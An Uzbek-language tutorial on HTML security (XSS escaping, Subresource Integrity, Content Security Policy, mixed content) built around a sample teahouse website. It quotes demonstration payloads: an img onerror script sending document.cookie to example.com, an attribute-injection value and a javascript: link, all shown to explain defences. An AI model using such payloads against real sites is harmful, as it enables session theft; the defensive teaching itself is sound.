Mundarija (39)
- Bu darsda
- 1. Nega bu kerak?
- 2. XSS — begona skript sizning saytingizda
- 2.1 Hujum qanday ishlaydi
- 2.2 Asosiy himoya: ekranlash
- 2.3 Joy muhim: bir xil ma'lumot, har xil qoida
- 2.4 javascript: havolalar
- 2.5 HTML'ga ruxsat kerak bo'lsa: tozalash
- 2.6 Begona SVG fayllar
- 3. Begona skriptlar: SRI
- 3.1 Muammo: birovning serveriga ishonch
- 3.2 integrity — qisqa eslatma
- 3.3 Hash'ni qayerdan olish
- 3.4 Hash mos kelmasa
- 3.5 crossorigin unutilsa
- 4. CSP — oxirgi to'siq
- 4.1 G'oya
- 4.2 «Bahor» uchun CSP
- 4.3 CSP xabarlarini o'qish
- 4.4 Meta emas, server sarlavhasi
- 5. Aralash kontent (mixed content)
- 6. Qolgan qatlamlar: qisqa takror
- 7. HTML — hammaga ochiq kitob
- 8. Hujumchi nigohi
- 9. «Bahor»: xavfsiz bosh sahifa
- 10. Ko'p uchraydigan xatolar
- 10.1 integrity bor, crossorigin yo'q
- 10.2 SRI va o'zgaruvchan versiya
- 10.3 CSP'da 'unsafe-inline'
- 10.4 Faqat <script> ni filtrlash
- 10.5 Qo'shtirnoqsiz atribut
- 10.6 Sir HTML'da
- 11. Mashqlar
- 1-mashq (oson): Ekranlang
- 2-mashq (o'rta): CDN'dan xavfsiz ulash
- 3-mashq (qiyin): Xavfsizlik review
- 12. Real ishda
- Xulosa
- Manbalar
HTML xavfsizligi: XSS, SRI, CSP, aralash kontent va referrer siyosati
Qisqacha: HTML'dagi eng xavfli xato — foydalanuvchi yozgan matnni ekranlamasdan sahifaga qo'yish (XSS): hujumchining skripti saytingiz nomidan ishlaydi. Himoya qatlamlari:
<va&ni ekranlash, havolada faqathttps:ga ruxsat, CDN skriptlariniintegrity+crossorigin(SRI) bilan ulash va CSP bilan begona skriptlarni taqiqlash. Bundan tashqari: HTTPS sahifadahttp://resurs yo'q, maxfiy manzillardareferrerpolicy,target="_blank"darel="noopener", begona iframe'dasandbox.
Bu darsda
- XSS qanday ishlashini va ekranlash uni qanday to'xtatishini tushuntira olasiz.
- Foydalanuvchi ma'lumoti HTML'ning qaysi joyiga qanday qoida bilan qo'yilishini bilasiz.
- CDN'dan skriptni SRI bilan ulaysiz va hash'ni o'zingiz hisoblaysiz.
- «Bahor» uchun CSP yozasiz va uning xabarlarini o'qiy olasiz.
- Aralash kontent, referrer, havola, iframe va forma xavfsizligini bitta ro'yxatga yig'asiz.
Oldin bilishingiz kerak: Resurs maslahatlari, iframe xavfsizligi, Forma xavfsizligi, Kam ma'lum, lekin foydali meta teglar, Maxsus belgilar va HTML entity'lar.
1. Nega bu kerak?
O'tgan darsda template ga matn qo'yishda "textContent — xavfsiz yo'l" degan edik va sababini shu darsga qoldirdik. Endi vaqti keldi.
«Bahor» saytida "Mehmonlar fikri" bo'limi paydo bo'ldi: har kim izoh yozadi, izohlar bosh sahifada chiqadi. Bir kuni kechqurun choyxona egasi Jasur aka admin panelda yangi izohni ochadi. Hech narsa g'alati ko'rinmaydi. Ertasi kuni esa uning hisobidan choyxona menyusidagi narxlar o'zgartirilgan, bosh sahifada kazino reklamasi turibdi.
Izohda oddiy matn emas, HTML bor edi. Sayt uni "boricha" chiqardi — va hujumchining kodi Jasur akaning brauzerida, uning nomidan ishladi.
Bu darsda bunday hujumlarga qarshi HTML qatlamidagi himoyalarni yig'amiz. Oldingi darslarda ularning ko'pini alohida-alohida ko'rgansiz. Endi ular bitta devorga aylanadi.
2. XSS — begona skript sizning saytingizda
2.1 Hujum qanday ishlaydi
XSS (Cross-Site Scripting — saytlararo skript) — hujumchining JavaScript kodi sizning saytingiz sahifasida, mehmonning brauzerida ishlashi.
Nega bu shunchalik xavfli? Origin va Same-Origin Policy darsidan bilasiz: brauzer bir saytning boshqa sayt ma'lumotiga tegishini taqiqlaydi. Lekin XSS'da skript sizning sahifangizda turibdi. Brauzer uni "o'ziniki" deb biladi va hamma narsaga ruxsat beradi: sahifani o'zgartirish, mehmon nomidan so'rov yuborish, u yozayotgan parolni o'qish.
Izohga hujumchi shunday yozdi:
Osh zo'r! <img src=x onerror="fetch('https://example.com/?c='+document.cookie)">Server izohni hech narsa qilmasdan sahifaga qo'ydi:
<!-- ❌ server shunday chiqardi -->
<li>Osh zo'r! <img src=x
onerror="fetch('https://example.com/?c='+document.cookie)"></li>Brauzer buni oddiy HTML deb tushunadi. x degan rasm topilmaydi. onerror atributi esa "rasm yuklanmasa, shu JavaScript kodni ishga tushir" degani. Kod saytning cookie'larini hujumchining serveriga yuboradi. JavaScript'ni hali bilmaysiz — bu yerda faqat bitta narsa muhim: matn kod bo'lib qoldi.
Diqqat qiling: hujumda <script> tegi yo'q. Shuning uchun "<script> so'zini o'chirib tashlasam bo'ldi" degan fikr — xato. Hujum yo'llari yuzlab.
2.2 Asosiy himoya: ekranlash
Maxsus belgilar darsida < ni < qilib yozishni o'rgangan edik. Aynan shu — XSS'ga qarshi asosiy himoya. Ekranlash (escaping) — HTML uchun maxsus ma'noli belgilarni entity'ga almashtirish:
| Belgi | Entity | Nega |
|---|---|---|
& |
& |
Entity boshlanishi |
< |
< |
Teg boshlanishi |
> |
> |
Teg oxiri |
" |
" |
Atribut qiymati chegarasi |
' |
' |
Atribut qiymati chegarasi |
Ekranlangan izoh sahifaga shunday tushadi:
<li>Osh zo'r! <img src=x onerror=...></li>Mehmon ekranda hujumchining yozganini matn sifatida ko'radi: <img src=x onerror=...>. Brauzer uni teg deb tushunmaydi. Kod ishlamaydi.
Ekranlashni kim qiladi? Sahifani yig'adigan dastur — server yoki JavaScript. Backend'dagi shablon dvigatellari va React buni avtomatik qiladi. JavaScript'da esa textContent shu ishni bajaradi — o'tgan darsdagi maslahat shundan. Sizning vazifangiz — bu avtomatik himoyani "o'chirib qo'ymaslik". Bu haqda Kontentni o'zgartirish va XSS xavfi va React'da xavfsizlik darslarida gaplashamiz.
2.3 Joy muhim: bir xil ma'lumot, har xil qoida
Foydalanuvchi ma'lumoti HTML'ning qayerga tushishiga qarab, himoya ham har xil:
| Qayerga | Qoida |
|---|---|
| Teglar orasidagi matn | Beshta belgini ekranlash |
| Atribut qiymati | Ekranlash va qiymat har doim qo'shtirnoqda |
href, src |
Ekranlash yetmaydi — sxemani tekshirish (https: ro'yxati) |
<script> ichi, on... atributlar, style |
Umuman qo'ymang |
Ikkinchi qator nega muhim? Qo'shtirnoqsiz atributni ko'ring:
<!-- ❌ ism qo'shtirnoqsiz qo'yilgan -->
<input type="text" name="ism" value=Ali onfocus=alert(1) autofocus>Mehmon ismini Ali onfocus=alert(1) autofocus deb yozgan. Qo'shtirnoq yo'q — bo'sh joy atributni tugatadi va qolgani yangi atributlarga aylanadi. Qiymat qo'shtirnoqda bo'lganida esa hammasi bitta oddiy satr bo'lib qolardi.
2.4 javascript: havolalar
Havola asoslari darsida bu xavfni eslatib o'tgan edik. «Bahor» saytida mehmon profilida "Mening saytim" maydoni bor. Hujumchi unga manzil o'rniga kod yozadi:
<!-- ❌ -->
<a href="javascript:alert(document.cookie)">Mening saytim</a>Bu yerda ekranlanadigan belgi yo'q — < ham, " ham. Lekin havolani bosgan odamning brauzerida kod ishlaydi. Himoya: server manzilni saqlashdan oldin uning sxemasini tekshiradi. Ruxsat ro'yxati: https: (kerak bo'lsa http:, mailto:, tel:). Boshqa hamma narsa rad etiladi. Bu usul allowlist (ruxsat ro'yxati) deyiladi: "nima mumkin"ni sanaymiz, "nima mumkin emas"ni emas. Taqiqlar ro'yxati hech qachon to'liq bo'lmaydi.
2.5 HTML'ga ruxsat kerak bo'lsa: tozalash
Ba'zan foydalanuvchiga ba'zi teglar kerak: izohda qalin matn, havola, ro'yxat. Unda ekranlash to'g'ri kelmaydi — <b> ham matn bo'lib qoladi. Yechim — sanitizatsiya (tozalash): ruxsat etilgan teglar va atributlar qoldiriladi, qolgani (script, on... atributlari, javascript: havolalar) olib tashlanadi.
Tozalash kodini o'zingiz yozmang. Brauzer HTML'ni qanday tahlil qiladi darsida ko'rgandik: parserning g'alati qoidalari bor va hujumchilar ular bilan filtrlarni aldashadi. Buning uchun sinovdan o'tgan kutubxonalar bor: brauzerda DOMPurify, Node.js'da sanitize-html. Brauzerlarga o'rnatilgan tozalash vositasi (Sanitizer API) ham kirib kelmoqda. Hammasini XSS va DOM xavfsizligi darsida ishlatamiz.
Markdown ham bir kun HTML'ga aylanadi — foydalanuvchi yozgan markdown'ni ham tozalash kerak.
2.6 Begona SVG fayllar
SVG darsida "xavf — begona fayllarda" degan edik. SVG — matnli format, uning ichida <script> bo'lishi mumkin. Xavf SVG qanday ochilishiga bog'liq:
| Qanday ko'rsatiladi | Ichidagi skript |
|---|---|
<img src="avatar.svg"> |
Ishlamaydi |
| Fayl manzili to'g'ridan-to'g'ri ochilsa | Ishlaydi — saytingiz nomidan |
| SVG kodi sahifaga qo'yilsa (inline) | Ishlaydi |
Mehmon avatar sifatida SVG yuklasa va u sizning domeningizda saqlansa, hujumchi uning manzilini boshqalarga yuboradi. Qoidalar: begona SVG faqat img orqali ko'rsatiladi, iloji bo'lsa — alohida domenda saqlanadi yoki yuklashda tozalanadi. Eng sodda yo'l — avatar uchun SVG'ni umuman qabul qilmaslik (Fayl yuklash maydoni darsidagi accept va server tekshiruvi).
Tekshirib ko'ring: Dasturchi izohlardan
<script>so'zini o'chirib tashlaydigan filtr yozdi. XSS'dan himoyalandikmi?
Javob
Yo'q. Dars boshidagi hujumda <script> umuman yo'q edi — img va onerror yetarli. Yuzlab boshqa yo'llar ham bor. Taqiqlar ro'yxati hech qachon to'liq bo'lmaydi. To'g'ri yo'l — hamma belgilarni ekranlash yoki HTML kerak bo'lsa, ruxsat ro'yxatiga asoslangan kutubxona (DOMPurify) bilan tozalash.
3. Begona skriptlar: SRI
3.1 Muammo: birovning serveriga ishonch
Keyinroq izohlarni JavaScript bilan chiqarganda DOMPurify kerak bo'ladi. Uni CDN'dan (jsDelivr) ulash qulay. Lekin sahifangizda endi boshqa kompaniya serveridagi kod ishlaydi. Skriptlarni ulash darsidagi polyfill.io voqeasini eslang: domen boshqa qo'lga o'tdi va 100 mingdan ortiq saytda begona kod ishladi.
3.2 integrity — qisqa eslatma
SRI (Subresource Integrity) ni o'sha darsda dayjs misolida ko'rgan edik. Qisqasi: integrity ga faylning hash'i — "barmoq izi" — yoziladi. Brauzer faylni yuklab, hash'ini o'zi hisoblaydi va solishtiradi. Mos kelmasa — faylni ishga tushirmaydi. Endi DOMPurify'ni shu usulda ulaymiz va o'sha darsda ko'rmagan nozik joylarni ochamiz.
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.6"
integrity="sha256-ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc="
crossorigin="anonymous" defer></script>src— versiyasi aniq ko'rsatilgan manzil:@3.2.6. jsDelivr bunday manzilga paketning asosiy faylini —dist/purify.min.jsni — beradi.integrity— hash algoritmi (sha256), defis va hash'ning o'zi (base64 ko'rinishida).crossorigin="anonymous"— faylni boshqa domendan CORS rejimida, cookie'siz so'rash. Nega kerakligini pastda ko'ramiz.defer— Skriptlarni ulash darsidagi atribut: skript sahifa tahlilini to'xtatmaydi.
Hash algoritmi sha256, sha384 yoki sha512 bo'lishi mumkin. CDN saytlari ko'pincha sha384 beradi. Uchalasi ham xavfsiz. Biz qator telefonga sig'ishi uchun qisqaroq sha256 ni tanladik.
3.3 Hash'ni qayerdan olish
- CDN sahifasidan. jsDelivr va cdnjs'da faylning yonida "Copy SRI" kabi tugma bor —
integrityvacrossoriginbilan tayyor teg nusxalanadi. - O'zingiz hisoblash. Git Bash'da (unda
opensslbor):
curl -s https://cdn.jsdelivr.net/npm/dompurify@3.2.6 \
| openssl dgst -sha256 -binary | openssl base64 -ANatija:
ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc=curl faylni yuklaydi, birinchi openssl uning SHA-256 hash'ini hisoblaydi, ikkinchisi uni base64 ko'rinishiga o'giradi. Oldiga sha256- qo'shsangiz — tayyor integrity qiymati.
3.4 Hash mos kelmasa
Faylni boshqa versiyaga (@3.2.5) almashtirdik, hash'ni esa eskisicha qoldirdik. Chrome konsoli:
Failed to find a valid digest in the 'integrity' attribute for resource 'https://cdn.jsdelivr.net/npm/dompurify@3.2.5/dist/purify.min.js' with computed SHA-256 integrity 'SCmGefnjCPBf3NW3QhwV/PtUWEWjqZu68xAziQYQ6ws='. The resource has been blocked.Tarjimasi: "resurs uchun integrity atributida yaroqli hash topilmadi; hisoblangan SHA-256 — '...'. Resurs bloklandi." Aynan shu — himoya ishlagani. Fayl o'zgargan — skript ishlamadi.
Shundan muhim qoida kelib chiqadi: SRI faqat aniq versiya bilan. dompurify@3 yoki @latest deb yozsangiz, CDN yangi versiya chiqqanda boshqa fayl beradi — va saytingizdagi skript bir kuni to'satdan bloklanadi.
3.5 crossorigin unutilsa
integrity bor, crossorigin yo'q:
Subresource Integrity: The resource 'https://cdn.jsdelivr.net/npm/dompurify@3.2.4/dist/purify.min.js' has an integrity attribute, but the resource requires the request to be CORS enabled to check the integrity, and it is not. The resource has been blocked because the integrity cannot be enforced.Tarjimasi: "resursda integrity bor, lekin yaxlitlikni tekshirish uchun so'rov CORS rejimida bo'lishi kerak, u esa unday emas. Tekshirib bo'lmagani uchun resurs bloklandi". Boshqa domendagi faylning ichini brauzer faqat CORS ruxsati bilan "ko'ra" oladi. jsDelivr bunday ruxsatni beradi (Access-Control-Allow-Origin: * sarlavhasi). crossorigin ni Resurs maslahatlari darsida shriftlar uchun ham uchratgan edik — sabab o'xshash.
SRI script va link rel="stylesheet" da ishlaydi (shuningdek preload va modulepreload da). O'z serveringizdagi fayllar uchun u odatda kerak emas. Har safar boshqa fayl beradigan xizmatga (polyfill.io kabi) SRI qo'yib bo'lmaydi — ulardan voz kechish yoki faylni o'z serveringizga ko'chirish eng ishonchli yo'l.
Maslahat: html-validate'da
require-sriqoidasi bor..htmlvalidate.jsonda"require-sri": ["error", { "target": "crossorigin" }]deb yoqsangiz, boshqa domendanintegritysiz ulangan har bir skript va stilni xato deb ko'rsatadi.
Tekshirib ko'ring: Nega SRI bilan
https://cdn.jsdelivr.net/npm/dompurify@latestni ulash yomon fikr?
Javob
@latest — "eng oxirgi versiya". Yangi versiya chiqishi bilan CDN boshqa fayl beradi, hash mos kelmaydi va brauzer skriptni bloklaydi — sayt buziladi. SRI faqat hech qachon o'zgarmaydigan fayl bilan ishlaydi, ya'ni aniq versiya bilan (@3.2.6).
4. CSP — oxirgi to'siq
4.1 G'oya
Kam ma'lum meta teglar darsida CSP bilan tanishgan edik va «Bahor» ga uni qo'shishni shu darsga qoldirgan edik. Eslatma: CSP (Content Security Policy) — brauzerga "bu sahifa qaysi manbalardan skript, rasm va boshqa resurslarni yuklashi mumkin" degan ro'yxat.
CSP'ning XSS'ga qarshi asosiy kuchi shunda: script-src yozilgan bo'lsa, brauzer HTML ichiga yozilgan skriptlarni ham bajarmaydi. Bular <script>...</script> bloklari, onerror, onclick kabi atributlar va javascript: havolalar. Ya'ni ekranlash qayerdadir unutilgan va hujumchi HTML qo'shib ulgurgan bo'lsa ham, uning kodi ishlamaydi.
4.2 «Bahor» uchun CSP
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
img-src 'self' https:;
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests">| Qoida (direktiva) | Ma'nosi |
|---|---|
default-src 'self' |
Boshqa qoida yozilmagan hamma narsa — faqat o'z saytimizdan |
script-src |
Skriptlar: o'z saytimiz va jsDelivr; HTML ichidagi kod — yo'q |
img-src 'self' https: |
Rasmlar: o'z saytimiz va istalgan HTTPS manzil |
object-src 'none' |
Eskirgan object/embed plaginlari — umuman yo'q |
base-uri 'self' |
Hujumchi base tegi bilan nisbiy yo'llarni bura olmaydi |
form-action 'self' |
Formalar faqat o'z saytimizga yuboriladi |
upgrade-insecure-requests |
http:// resurslarni avtomatik https:// ga o'giradi |
'self' — qo'shtirnoq bilan: bu kalit so'z, "shu sahifaning origin'i". Qoidalar ; bilan ajratiladi. Ularni qulaylik uchun alohida qatorlarga yozdik — brauzer yangi qatorni bo'sh joy kabi o'qiydi.
base-uri va form-action nega kerak? Tasavvur qiling, hujumchi XSS orqali skript qo'sha olmadi (CSP to'sdi), lekin HTML qo'sha oldi. U <base href="https://example.net/"> qo'shsa, sahifadagi hamma nisbiy havolalar uning saytiga ketadi (head anatomiyasi darsidagi base). Soxta "Qayta kiring" formasi qo'shsa, parol uning serveriga ketadi. Bu ikki qoida ikkalasini ham to'sadi.
Meta tegni head ning boshida, charset dan keyin qo'yamiz: CSP faqat o'zidan keyingi qatorlarga ta'sir qiladi.
4.3 CSP xabarlarini o'qish
Sahifaga ataylab <script>console.log("salom")</script> qo'shdik. Chrome konsoli:
Executing inline script violates the following Content Security Policy directive 'script-src 'self' https://cdn.jsdelivr.net'. Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked.Tarjimasi: "sahifa ichidagi skriptni bajarish CSP qoidasini (script-src ...) buzadi. Ruxsat uchun 'unsafe-inline', hash yoki nonce kerak. Amal bloklandi." Dars boshidagi onerror hujumi uchun ham xuddi shunday xabar chiqadi, faqat "inline event handler" (HTML ichidagi hodisa atributi) deb yoziladi.
Xabardagi uch yo'lning birinchisi — 'unsafe-inline' — nomining o'zi ogohlantiradi: "xavfli". U HTML ichidagi hamma kodga, jumladan hujumchinikiga ham ruxsat beradi va CSP'ning XSS himoyasini yo'qqa chiqaradi. Hash va nonce — xavfsiz yo'llar. Ular JavaScript'ni o'rganganimizdan keyin, Content Security Policy chuqur darsida.
Rasm ruxsat etilmagan manbadan kelsa, xabar boshqacha boshlanadi: Loading the image '...' violates the following Content Security Policy directive... — mantiq bir xil.
4.4 Meta emas, server sarlavhasi
Meta tegdagi CSP — yaxshi boshlanish, lekin to'liq emas. Ba'zi qoidalar faqat HTTP sarlavhasida ishlaydi. Meta'ga frame-ancestors yozsangiz:
The Content Security Policy directive 'frame-ancestors' is ignored when delivered via a <meta> element."frame-ancestors qoidasi <meta> orqali berilganda e'tiborsiz qoldiriladi." Clickjacking'dan himoya (iframe xavfsizligi) aynan shu qoida bilan qilinadi — demak, u faqat serverda.
Netlify'da sarlavhalar loyiha ildizidagi _headers faylida yoziladi. «Bahor» uchun:
/*
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; img-src 'self' https:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()- CSP qatori — xuddi meta'dagidek, faqat bitta qatorda va
frame-ancestors 'none'qo'shilgan. X-Content-Type-Options: nosniff— brauzer faylning turini "taxmin qilmasin", server aytgan turga ishonsin. Masalan, yuklangan "rasm" ichida kod bo'lsa, u skript sifatida ishga tushmaydi.Referrer-Policy— referrer qoidasi butun sayt uchun.Permissions-Policy— sahifa kamera, mikrofon va joylashuvni umuman ishlatmaydi. iframe darsidagiallowatributining butun sahifa uchun "katta akasi".
Bu faylni Birinchi deploy darsida ishlatamiz. Sarlavhalarni tekshirish uchun Mozilla'ning bepul HTTP Observatory xizmati bor: sayt manzilini kiritasiz — u sarlavhalarni baholab, nima yetishmasligini aytadi.
Diqqat: CSP'ni sinamasdan qo'ysangiz, o'z saytingizni buzasiz. Masalan, yuqoridagi CSP Cloudflare Turnstile'ni to'sadi — uning skripti
challenges.cloudflare.comda. Qo'shishdan oldin DevTools Console'ni ochib, sahifaning hamma qismini sinab chiqing. Serverda buning maxsus rejimi bor:Content-Security-Policy-Report-Onlysarlavhasi hech narsani to'smaydi, faqat buzilishlar haqida xabar beradi.
Tekshirib ko'ring: CSP'da
script-src 'self'bor. Hujumchi izohga<img src=x onerror="...">qo'ya oldi (ekranlash unutilgan). Kod ishlaydimi?
Javob
Yo'q. onerror — HTML ichidagi hodisa atributi (inline event handler). script-src da 'unsafe-inline' yo'q, shuning uchun brauzer uni bajarmaydi va konsolda xabar chiqaradi. Rasm teg sifatida sahifada paydo bo'ladi, lekin kod ishlamaydi. Bu CSP'ning "oxirgi to'siq" ekanining misoli. Ekranlash baribir tuzatilishi kerak — CSP zaxira himoya, asosiy emas.
5. Aralash kontent (mixed content)
HTTPS va TLS darsida ko'rgandik: HTTPS sahifa yo'lda shifrlanadi. Lekin sahifa ichidagi rasm yoki skript http:// dan kelsa, o'sha qism ochiq ketadi. Bu — aralash kontent. Yo'lda turgan hujumchi (masalan, kafedagi Wi-Fi'da) ochiq skriptni o'zinikiga almashtira oladi. Shu bilan butun HTTPS himoyasi yo'qqa chiqadi.
Brauzerlar bunga qattiq javob beradi. Biz HTTPS sahifaga http:// rasm, skript va forma qo'yib, Chrome'da sinadik:
Mixed Content: The page at 'https://localhost:8443/mixed.html' was loaded over HTTPS, but requested an insecure script 'http://example.com/eski.js'. This request has been blocked; the content must be served over HTTPS."Sahifa HTTPS orqali yuklangan, lekin xavfsiz bo'lmagan skript so'radi. So'rov bloklandi; kontent HTTPS orqali berilishi kerak." Skript — bloklanadi.
Rasm uchun esa: This request was automatically upgraded to HTTPS — "so'rov avtomatik HTTPS'ga o'tkazildi". Agar rasm HTTPS'da bo'lmasa, u shunchaki ko'rinmaydi.
Forma uchun: contains a form that targets an insecure endpoint — "sahifada xavfsiz bo'lmagan manzilga yuboradigan forma bor". Yuborishda Chrome mehmonga ogohlantirish oynasini ko'rsatadi (Forma xavfsizligi darsida ko'rgandik).
Tuzatish:
- Hamma manzillarni
https://ga o'zgartiring, o'z fayllaringiz uchun esa nisbiy yo'l ishlating (assets/images/osh.jpg). - Eski saytni HTTPS'ga ko'chirganda maqolalar ichida
http://rasmlar qolib ketadi. Ular uchun CSP'dagiupgrade-insecure-requestsqoidasi yordam beradi. //example.com/rasm.jpg(sxemasiz manzil) — eski usul. Bugun shunchakihttps://yozing.
6. Qolgan qatlamlar: qisqa takror
Oldingi darslarda ko'rgan HTML himoyalarining hammasi bitta jadvalda:
| Joy | Xavf | HTML himoyasi |
|---|---|---|
a target="_blank" |
Teskari tabnabbing | rel="noopener" (Maxsus havolalar) |
| Foydalanuvchi havolalari | Spam, reyting o'g'irlash | rel="ugc nofollow" (Maxsus havolalar) |
Begona iframe |
Skript, popup, kamera | sandbox, kam allow (iframe, iframe xavfsizligi) |
| Sahifangiz begona iframe'da | Clickjacking | frame-ancestors sarlavhasi (iframe xavfsizligi) |
Maxfiy URL (?token=) |
Referer orqali sizib chiqish |
no-referrer (Meta teglar) |
| Forma | Ochiq kanal, URL'dagi parol | https + method="post" (Forma xavfsizligi) |
| Parol maydoni | Zaif parollar | autocomplete (autocomplete), nusxa qo'yishni taqiqlamaslik (Forma xavfsizligi) |
meta refresh |
Bildirmasdan yo'naltirish | Ishlatmaslik (Meta teglar) |
Ikki qator haqida qo'shimcha:
referrerpolicy atributi. Butun sahifa uchun meta name="referrer" bor. Bitta element uchun esa referrerpolicy atributi — u a, img, iframe, script va link da ishlaydi:
<img src="https://example.com/reklama.png" alt=""
referrerpolicy="no-referrer">Brauzerlarning standart qoidasi (strict-origin-when-cross-origin) boshqa saytga faqat domen nomini yuboradi. Maxfiy sahifada esa no-referrer — hech narsa yubormaslik — ishonchliroq.
Parol maydoni. autocomplete="current-password" (kirish) va "new-password" (ro'yxatdan o'tish) parol menejeriga yordam beradi. autocomplete="off" esa xavfsizlik bermaydi — bu afsonani Forma xavfsizligi darsida ko'rgandik.
7. HTML — hammaga ochiq kitob
Ctrl + U bosgan har kim sahifangizning HTML'ini ko'radi. Demak, HTML'da (va brauzerga yuboriladigan JavaScript'da) sir bo'lmasligi kerak:
- Telegram bot tokeni. Kichik saytlarda keng tarqalgan xato: forma ma'lumotini to'g'ridan-to'g'ri
api.telegram.org/bot<TOKEN>/...manziliga yuborish. Token sahifa kodida ochiq turadi. Uni topgan odam botingizni to'liq boshqaradi. To'g'ri yo'l: forma o'z serveringizga yuboriladi, token esa serverdagi muhit o'zgaruvchisida saqlanadi. - HTML izohlar.
<!-- admin panel: /yashirin-panel -->— ko'rinadi. - Yashirin maydonlar.
type="hidden"qiymati ko'rinadi va o'zgartiriladi (Forma xavfsizligi). - Keraksiz fayllar hostingda.
index-eski.html,backup.zip,.gitpapkasi. Hujumchi dasturlari bunday nomlarni minglab saytda avtomatik qidiradi. Hostingga faqat saytning o'ziga kerakli fayllarni yuklang.
8. Hujumchi nigohi
Endi o'zimizni hujumchi o'rniga qo'yamiz va «Bahor» saytini qadamma-qadam "buzishga" urinamiz. Har qadamda qaysi himoya bizni to'xtatishini ko'ramiz.
1-urinish — izohga kod. Izohga <img src=x onerror=...> yozamiz. Server uni ekranlaydi — sahifada oddiy matn chiqadi. To'xtatdi: ekranlash.
2-urinish — ekranlash unutilgan joy. Yangi "Taom haqida savol" sahifasini stajyor yozgan, ekranlashni unutgan. Kodimiz sahifaga HTML bo'lib tushdi. Lekin onerror bajarilmaydi — konsolda CSP xabari. To'xtatdi: CSP script-src.
3-urinish — skriptsiz hujum. Skript ishlamasa, HTML bilan soxta forma qo'shamiz: "Sessiya tugadi, parolni kiriting", action — bizning serverimiz. To'xtatdi: CSP form-action 'self' — brauzer formani begona manzilga yubormaydi.
4-urinish — profildagi havola. "Mening saytim" maydoniga javascript:... yozamiz. To'xtatdi: server sxemani ruxsat ro'yxati bo'yicha tekshirdi. U o'tib ketganda ham CSP javascript: havolani bajarmaydi.
5-urinish — CDN'ni nishonga olish. Saytni emas, u ishlatadigan kutubxonani buzamiz — faylni o'zgartiramiz. To'xtatdi: SRI — hash mos kelmadi, brauzer faylni bloklaydi.
6-urinish — kafedagi Wi-Fi. Tarmoqda o'tirib, ochiq ketayotgan http:// skriptni almashtirmoqchimiz. To'xtatdi: sahifada http:// resurs yo'q, brauzer aralash skriptni baribir bloklaydi.
7-urinish — sahifa kodini o'qish. Ctrl + U — bot tokeni, admin manzili, parol qidiramiz. To'xtatdi: HTML'da sir yo'q.
8-urinish — sahifani o'z saytimizga joylash. «Bahor» ni ko'rinmas iframe ichiga qo'yib, mehmonni "Bronni bekor qilish" tugmasini bostirmoqchimiz. To'xtatdi: frame-ancestors 'none' sarlavhasi.
Ko'ryapsizmi: hech bir himoya yolg'iz emas. Ekranlash unutildi — CSP ushladi. Skript to'sildi — form-action ushladi. Bu tamoyil chuqur himoya (defense in depth) deb ataladi. Qal'a devorini eslang: tashqi devor, ichki devor, darvoza, qorovul. Bittasi yiqilsa, keyingisi turadi.
9. «Bahor»: xavfsiz bosh sahifa
Darsdagi hamma qatlam bitta sahifada:
<!DOCTYPE html>
<html lang="uz">
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
img-src 'self' https:;
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests">
<meta name="viewport"
content="width=device-width, initial-scale=1">
<title>Choyxona «Bahor» — Chilonzor, Toshkent</title>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.6"
integrity="sha256-ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc="
crossorigin="anonymous" defer></script>
</head>
<body>
<main>
<h1>Choyxona «Bahor»</h1>
<section aria-labelledby="izohlar-sarlavha">
<h2 id="izohlar-sarlavha">Mehmonlar fikri</h2>
<ul>
<li>Osh zo'r! <img src=x onerror=...></li>
<li>Kompot biroz shirin, lekin xizmat a'lo.</li>
</ul>
</section>
<p><a href="https://example.com/instagram"
target="_blank" rel="noopener noreferrer">Instagram
sahifamiz</a></p>
<form action="https://example.com/obuna" method="post">
<label for="email">Email manzilingiz</label>
<input id="email" name="email" type="email"
autocomplete="email" required>
<button type="submit">Obuna bo'lish</button>
</form>
</main>
</body>
</html>- CSP —
headboshida,charsetdan keyin. - CDN skripti — aniq versiya,
integrity,crossorigin. - Hujumchining izohi — ekranlangan, oddiy matn bo'lib ko'rinadi.
- Tashqi havola —
rel="noopener noreferrer"bilan. - Forma —
https,post, o'z saytimizga.
Kod html-validate dan xatosiz o'tadi. Chrome'da sinadik: DOMPurify SRI va CSP bilan muammosiz yuklandi. Sahifaga ataylab qo'shilgan inline skript va onerror esa bloklandi.
10. Ko'p uchraydigan xatolar
10.1 integrity bor, crossorigin yo'q
Boshqa domendagi fayl bloklanadi — xabarini yuqorida ko'rdik. Tuzatish: crossorigin="anonymous".
10.2 SRI va o'zgaruvchan versiya
@3, @latest — yangi versiya chiqqan kuni sayt buziladi. Tuzatish: aniq versiya (@3.2.6), yangilashda hash ham yangilanadi.
10.3 CSP'da 'unsafe-inline'
"Sayt ishlamay qoldi — 'unsafe-inline' qo'shib qo'yaman" — CSP'ning XSS himoyasi o'chdi. Tuzatish: HTML ichidagi skriptni alohida .js faylga ko'chiring.
10.4 Faqat <script> ni filtrlash
img onerror, svg onload, javascript: — filtr ulardan o'tib ketadi. Tuzatish: hamma belgini ekranlash yoki tayyor kutubxona bilan tozalash.
10.5 Qo'shtirnoqsiz atribut
value=<%= ism %> kabi shablonda bo'sh joy yangi atribut ochadi. Tuzatish: qiymat doim qo'shtirnoqda va ekranlangan.
10.6 Sir HTML'da
Bot tokeni, API kaliti, admin manzili. Tuzatish: sirlar faqat serverda, muhit o'zgaruvchisida.
11. Mashqlar
1-mashq (oson): Ekranlang
Mehmon ismini shunday yozdi: Ali <b>"Bahor"</b> & do'stlar. Uni li ichiga xavfsiz qo'yish uchun ekranlangan ko'rinishini yozing. < belgisi ga aylanadi.
